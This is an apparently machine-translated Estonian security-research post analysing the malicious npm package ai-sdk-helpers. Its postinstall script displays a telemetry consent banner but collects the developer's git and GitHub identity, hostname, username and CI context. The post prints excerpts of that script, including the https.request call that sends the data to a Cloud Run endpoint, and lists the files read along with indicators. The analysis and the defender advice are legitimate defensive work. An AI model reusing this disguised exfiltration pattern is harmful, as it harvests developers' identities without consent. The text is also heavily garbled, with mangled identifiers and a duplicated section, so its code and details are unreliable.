ConsentMask npm pakett Arendaja identiteedi kogumise peitmine

ConsentMask: npm-pakett, mis kannab arendaja identiteedi kogumise asemel telemeetria nõusoleku riba

TL; DR

Üks npm pakett, ai-sdk-abilised, esitleb end Vercel AI SDK tootmistööriistakomplektina, pakkudes kulude jälgimist, pakkuja varuvarianti ja voogedastusabilisi.

Selle installimise ajal skript avaneb lihvitud avalikustamisribaga, mis kirjeldab järgmist. anonüümne diagnostika, lubades, et lähtekoodi, märke ega volitusi ei edastata, austades a DO_NOT_TRACK loobumine ja linkimine telemeetriapoliitika lehele.

Seejärel loeb sama skript arendaja giti identiteeti, GitHubi CLI konfiguratsiooni, masina hostinime, operatsioonisüsteemi kasutajanime, töökataloogi ja CI-pakkujat.

Need andmed saadetakse JSON-vormingus Google Cloud Run'i lõpp-punkti, luues selge vastuolu nimetatud telemeetriapoliitika ja tegelikult kogutud väljade vahel.

Pakett avaldati kahekümne kahes versioonis ühe 83-sekundilise purske jooksul ning installiskript on bait-baidilt identne kõigis lipuga märgitud versioonides.

Meie poolt üle vaadatud kaheksast versioonist seitse pipeline masinõppe klassifikaator hindas need ebaselgeks, kuna nõusolekubänneri stiil kõlab nagu legitiimne telemeetria.

Me klassifitseerime ai-sdk-helpers pahatahtlikuks installimise ajal kogutud arendaja identiteedi ja väljafiltreerimise põhjal.

Raskusaste: kõrge.

 Installi anatoomia

{   "scripts": {     "postinstall": "node scripts/postinstall.js"   } }

pärast installimist töötab automaatselt npm installi, enne kui paketi reklaamitud kood üldse imporditakse. Skript skriptid/postinstall.js on koht, kus asub kogu installiaegne käitumine.

See avaneb kommentaaride ploki ja privaatsust arvestava avatud lähtekoodiga projekti registrisse kirjutatud käitusaja teatega:

> Kui installite ai-sdk-helpersi, teostame kiire keskkonna ühilduvuse kontrolli ja esitame anonüümse diagnostikaaruande... Andmed on täielikult anonüümsed – kogume teie platvormi, sõlme versiooni ja teie masina identifikaatori ühesuunalise räsi. Lähtekoodi, märke ega volitusi ei edastata kunagi.

See ühendab isegi toimiva loobumisvärava, mis on faili esimene käivitatav kood:

if (   process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||   process.env.DO_NOT_TRACK === "1" ) {   process.exit(0); }

selle värava esmalt sidumine muudab ülejäänu konsensuslikuks: arendaja, kes seab `D_NOT_TRACK` Laseb installimise vaikselt lõpule viia ja lõpetab paketi, mis austab konventsiooni. Auväärne loobumisklausel on reaalne. Kõigile, kes seda ei määra, ligipääsetakse allpool kirjeldatud kollektsioonile – mitte kitsamale „platvormile, sõlme versioonile ja ühesuunalisele räsile”, mida teade nimetab.

Selle värava all koondab skript kasuliku koormuse, mis ulatub sellest kirjeldusest kaugemale.

  • *Gt identiteet.* rlahendamaScmIdentiteet()` pea `~.gitconfig`,`~.config/git/config`,ja praeguse projekti `.it/config`,parsib `[ser]` jaotis ja tagastab konfigureeritud commit e-posti aadress. Kui ükski konfiguratsioonifail ei anna e-posti aadressi, langeb see tagasi väärtusele `G`T_AUTOR_EMAIL`,`GT_COMMITTER_EMAIL`,ja `EAIL` keskkonnamuutujad. Funktsiooni kohal olev dokumentatsioon raamib lugemise kui viisi „sama isiku omanduses olevate masinate (nt sülearvuti + CI) installide dubleerimiseks” – see on eesmärk, mis nõuab stabiilset arendajapõhist identifikaatorit, mis on commit e-posti tarvikud.
  • *GtHubi konto.* rsolveGitHubIdentity()` pea `~.config/gh/hosts.yml` ja `~.config/gh/hosts.yaml` GitHubi CLI poolt arendaja autentimisel kirjutatud konfiguratsioonifail – ja regulaaravaldise abil ekstraheerib see `u`ee:` ja `ehädas:` väljad. See fail salvestab ka GitHubi OAuthi tunnuse; skripti regulaaravaldis on suunatud just kasutajanime ja e-posti aadressi ridadele ega eralda tunnust. Avalikustamisriba väide „tunnuseid ei edastata kunagi” on seega selle ühe välja puhul sõna-sõnalt tõene, samal ajal kui ümbritsevaid konto identifikaatoreid loetakse ja saadetakse.
  • *Hst ja CI sõrmejälg.* Seejärel kogub skript `o.hostname()`,`o.userInfo().kasutajanimi`,Node'i versioon, platvorm ja arhitektuur, `pprotsess.cwd()`,ja CI-pakkuja silt, mis lahendati kaheksa pakkuja (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite ja kaks üldist CI lippu) keskkonnamuutujate kontrollimise teel. Pakkujate loendit saab lugeda kui loendit kohtadest, kus skript eeldab käivitumist – interaktiivsed kestad ja automatiseeritud ehitus. pipelineon sarnased.

Kõik need on rühmitatud ühte `d`-sse.agnostikud bject, kus arendajapõhised väljad on kogutud `i` allaüksus ey ja hostiandmed `r allntime` ja `cntekst` eys, seejärel serialiseeritakse ja edastatakse:

const req = https.request(   {     hostname: "npm-package-logger-228835561205.europe-west1.run.app",     path: "/",     method: "POST",     headers: { "Content-Type": "application/json" },     timeout: 5000,   },   () => {} );  req.on("error", () => {}); req.write(body); req.end();

Vastus visatakse ära ja kõik vead neelatakse alla – kommentaaris märgitakse, et „telemeetria ei tohi kunagi installimist katkestada“. Lõpp-punkti hostinimi kodeerib Google Cloud Run teenust `e`-s.köis-lääs1` piirkond.

Lüngast jutustataksegi. Reklaamil on nimetatud kolm andmekategooriat – platvorm, sõlme versioon ja masina identifikaatori räsi. Kasulik koormus saadab arendaja tegeliku giti. commit e-posti aadress, GitHubi kasutajanimi ja e-posti aadress, masina hostinimi ja operatsioonisüsteemi konto nimi, projekti tee ja CI-keskkond. Väljad, mis tähistavad *prson ja nende kontod* täpselt need väljad, mis avalikustamisest välja jäetud on.

README kinnitab teise poole raamistikku. Selle „Telemeetria” osa kordab anonüümsuse väidet ja seob sõna `D`_NOT_TRACK` o `cnsoledonottrack.com`,päris kogukonnaleht, mis dokumenteerib loobumiskonventsiooni – laenates tunnustatud privaatsuspõhimõtteid standard et teadet loetaks rutiinselt.

Timeline

See on ühepakendiline leid väga lühikese ja tiheda avaldamisajalooga. Puudub mitmenädalane kampaaniakaare, mida jälgida – kogu versioonivalik avaldati masina kiirusel.

Millal (UTC) sündmus
2026-06-03 20:31:20 Esimene versioon (0.1.0) avaldatud npm-is.
2026-06-03 20:31:20 – 20:32:43 Kõik 22 versiooni (0.1.0 läbi 1.4.2) avaldatud 83-sekundilise automatiseeritud sarivõttena.
2026-06-04 Tuvastussignaalide abil märgistati kaheksa versiooni; käsitsi analüüs kinnitas installimise ajal identiteedi kogumist ja väljavoolu. Analüüsi ajal oli pakett npm-il aktiivne.

83-sekundiline aken 22 semantilise versiooni vahel on iseenesest käitumuslik näitaja: versiooniredel (`01.0`,`01.1`,… `14.2`)esitleb aktiivselt hooldatud projekti pinda koos väljalaskeajalooga, mis on loodud ühe skriptitud käivitamise käigus. Installi skript ei muutu sellel redelil – vt allpool.

Kompromissi näitajad

Installiaegne kasulik koormus on avaldatud versioonivahemikus identne. A `dff` f-idripts/postinstall.js` versioon `02.1` nd versioon `14.2` ei tagasta mingeid erinevusi; käitumine on üks fikseeritud sõrmejälg, mitte arenev kasulik koormus.

võrk

83-sekundiline aken 22 semantilise versiooni vahel on iseenesest käitumuslik näitaja: versiooniredel (`01.0`,`01.1`,… `14.2`)esitleb aktiivselt hooldatud projekti pinda koos väljalaskeajalooga, mis on loodud ühe skriptitud käivitamise käigus. Installi skript ei muutu sellel redelil – vt allpool.

Kompromissi näitajad

Installiaegne kasulik koormus on avaldatud versioonivahemikus identne. A `dff` f-idripts/postinstall.js` versioon `02.1` nd versioon `14.2` ei tagasta mingeid erinevusi; käitumine on üks fikseeritud sõrmejälg, mitte arenev kasulik koormus.

võrk

Indikaator Roll
npm-package-logger-228835561205.europe-west1.run.app HTTPS POST-päringuid JSON-i kasulike koormustega vastuvõttev väljafiltreerimise lõpp-punkt. Majutatud Google Cloudis. Käivitage europe-west1 Piirkond.

Peibutustaristu

Indikaator Roll
ai-sdk.guide Paketi avaleht ja reaalajas sait, mis toetavad "AI SDK juhendi" autori identiteeti.
ai-sdk.guide/telemetry Installiaegse avalikustamise teates viidatud telemeetriapoliitika URL.
hello@ai-sdk.guide Autori e-posti aadress on deklareeritud package.json.
github.com/ai-sdk-guide/ai-sdk-helpers Paketi poolt deklareeritud lähtekoodihoidla.

Installi ajal loetud failid

  • -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` post
  • - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHubi käsurea liideseee` `ehädas

Käitumuslikud allkirjad

  • – m `pstinstall` ook käivitab komplekteeritud Node'i skripti
  • – loobumisvärav (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_NOT_TRACK`)esitletakse privaatsusfunktsioonina enne identiteedi kogumist
  • – JSON-objekti tbound HTTPS POST, mis sisaldab giti e-posti aadressi, GitHubi identiteeti, hostinime, operatsioonisüsteemi kasutajanime, cwd-d ja CI-silti
  • – te-identne installiskript kiiresti avaldatud versiooniredelil

 Omistamine ja täheldatud käitumine
Me ei omista midagi peale paketi ja registri metaandmete salvestatu.

NPM-i kirje haldaja on konto `aielsimon`,aadressiga `aiel@vigilance.security`.Register loetleb selle e-posti aadressi kinnitamata aadressina ja konto lähtekoodikontrolli identiteedi kinnitamata aadressina. `pckage.json`,eraldi esitleb autorit kui „AI SDK juhendit”ello@ai-sdk.guide>`”mille koduleht on `a-sdk.guide` ja lähtekoodihoidla `g` allthub.com/ai-sdk-guide` organisatsioon. Avaldava konto e-posti domeen (`vigilance.security`)ja paketisisese autori identiteet (`a-sdk.guide`)on erinevad domeenid.

See `a-sdk.guide` ite on aktiivne ja vastab ning `/elementomeetria ath laheneb — peibutusidentiteeti toetab ligipääsetav veebikohalolek, mitte surnud link, mis suurendab paketi raamimise usutavust.

**Täheldatud võimekus.** Installimise ajal loeb pakett arendaja identiteedi- ja konto konfiguratsioonifaile, võtab hostilt ja konfiguratsiooniliideselt sõrmejäljed ning edastab tulemuse operaatori kontrollitavale lõpp-punktile, kuvades samal ajal teadet, mis kirjeldab kitsamat ja anonüümset andmekogumit. Me kirjeldame seda käitumist; me ei väida selle motiivi. Paketti hindavad lugejad – sealhulgas kõik osapooled, kes tunnevad ära avaldaja identiteedi – peaksid kaaluma täheldatud mittevastavust nimetatud ja tegelike andmevoogude vahel.

Mõju, trendid ja juhised kaitsjatele

Kes on paljastatud. Igaüks, kes paigaldab ai-sdk-abilised — otse või transitiivse sõltuvusena — käivitab kogumi sellel masinal. Kuna päästik on pärast installimist, reklaamitud teegikoodi ei pea andmevoo toimimiseks kunagi importima; piisab ainuüksi installimisest. Kõige väärtuslikumad keskkonnad on arendaja tööjaamad, millel on konfigureeritud giti identiteet ja autentitud GitHubi käsurida, ning CI-käivitajad, kus skripti CI-pakkuja tuvastamine näitab, et kogu peaks töötama ehituse sees. pipelines kui ka sülearvutites.

Mida see paljastab. Üldjuhul mitte rakenduse saladused – kasulik koormus keskendub identiteetarendaja commit e-posti aadress, nende GitHubi konto nimi ja e-posti aadress, masina ja konto nimed ning projekti tee. See on eelnevcisKaart, mis näitab, kes paketi paigaldas, millisele masinale, millisesse hoidlasse ja millise CI-süsteemi alla. Organisatsiooni puhul loetleks käputäis selliseid kirjeid kokku, millised insenerid ja millised ehitussüsteemid sõltuvuse hankisid – see on kasulik eelkäijana sihipärasemale järeltegevusele, isegi kui selle paketi enda käitumine piirdub kogumise ja edastamisega.

Trend: telemeetria kattevarjuks. Legitiimsed arendustööriistad koguvad anonüümseid installidiagnostika andmeid ja selleks on olemas kokkulepped – avalikustamisteade, ÄRA_JÄLGI au, loobumismärk, poliitika URL – on hästi tuntud. ai-sdk-abilised reprodutseerib kõiki neid nelja konventsiooni täpselt ja kasutab neid identiteediandmete kogumise ümbrisena. Nõusolekubänneri, toimiva loobumislingi või privaatsuspoliitika lingi olemasolu ei ole tõend paketi usaldusväärsuse kohta; nende kontrollide imiteerimine on odav. Ainus usaldusväärne kontroll on see, mida kood tegelikult loeb ja kuhu see tegelikult saadetakse.

Sellel pakendil on ka mõõdetav mõju automatiseeritud triaažile. Kõigis versioonides on meie pipeline Läbivaadatud installiskripti lihtkeelsed kommentaarid, struktureeritud väljanimed ja tavapärane loobumisvärav said tavalise telemeetria hinnangu: kaheksast seitse tuli tagasi ebaselge pigem masinõppe klassifikaatorist kui pahatahtlikust. Signaal, mis lahendab ebaselguse, ei ole proosas – see on konkreetsetes failides, mida skript avab (~ / .gitconfig, ~/.config/gh/hosts.yml) ja sihtkohta, kuhu see saadetakse. Avalikustatud teavet lugev ja seal peatuv ülevaataja, olgu see siis automaatne või inimene, jõuab valele järeldusele; otsus peab tulema andmevoo faktidest.

Juhised kaitsjatele:

  • Installi vaikimisi skriptide keelamisega — npm install –ignoreeri skriptevõi määra ignore-scripts=true in .npmrc ja käivitage kontrollitud ehitusetapid selgesõnaliselt. See neutraliseerib pärast installimist-käivitatud kogumisprotsess.
  • Ärge käsitlege loobumiskontrolle usaldussignaalidena. ÄRA_JÄLGI Kontroll või link „telemeetriapoliitika” ei ütle teile midagi andmete kohta, mida skript kogub, kui väravat pole seatud.
  • Enne tehisintellekti ökosüsteemi abipakettide kasutuselevõttu lugege installikonksu. Verceli tehisintellekti SDK ruum on kiiresti arenev ja usaldusväärsem sihtmärk; pärast installimist mis puudutab ~ / .gitconfig or ~/.config/gh/ on selge signaal olenemata sellest, kuidas ümbritsevad kommentaarid on kirjutatud.
  • Jälgige ehituse ajal väljuvat sõnumit. Väljaminev HTTPS POST ehituse ajal npm installi, eriti värskelt loodud pilvefunktsioonide lõpp-punkti puhul, on võrgukihis jälgitav ja tugev tuvastuspunkt CI-keskkondade jaoks.
  • Jälgige tihendatud versiooniredeleid. Pakett, mille kogu semantilise versiooni ajalugu kuvatakse sekunditega koos muutumatu installiskriptiga, esitab tehase hooldusajalugu.
sca-tööriistad-tarkvara-kompositsiooni-analüüsi-tööriistad
Tarkvarariskide prioriseerimine, leevendamine ja turvamine
Hankige oma tasuta konto.
Krediitkaarti pole vaja.

Turvaline tarkvaraarendus ja -tarne

Xygeni tootekomplektiga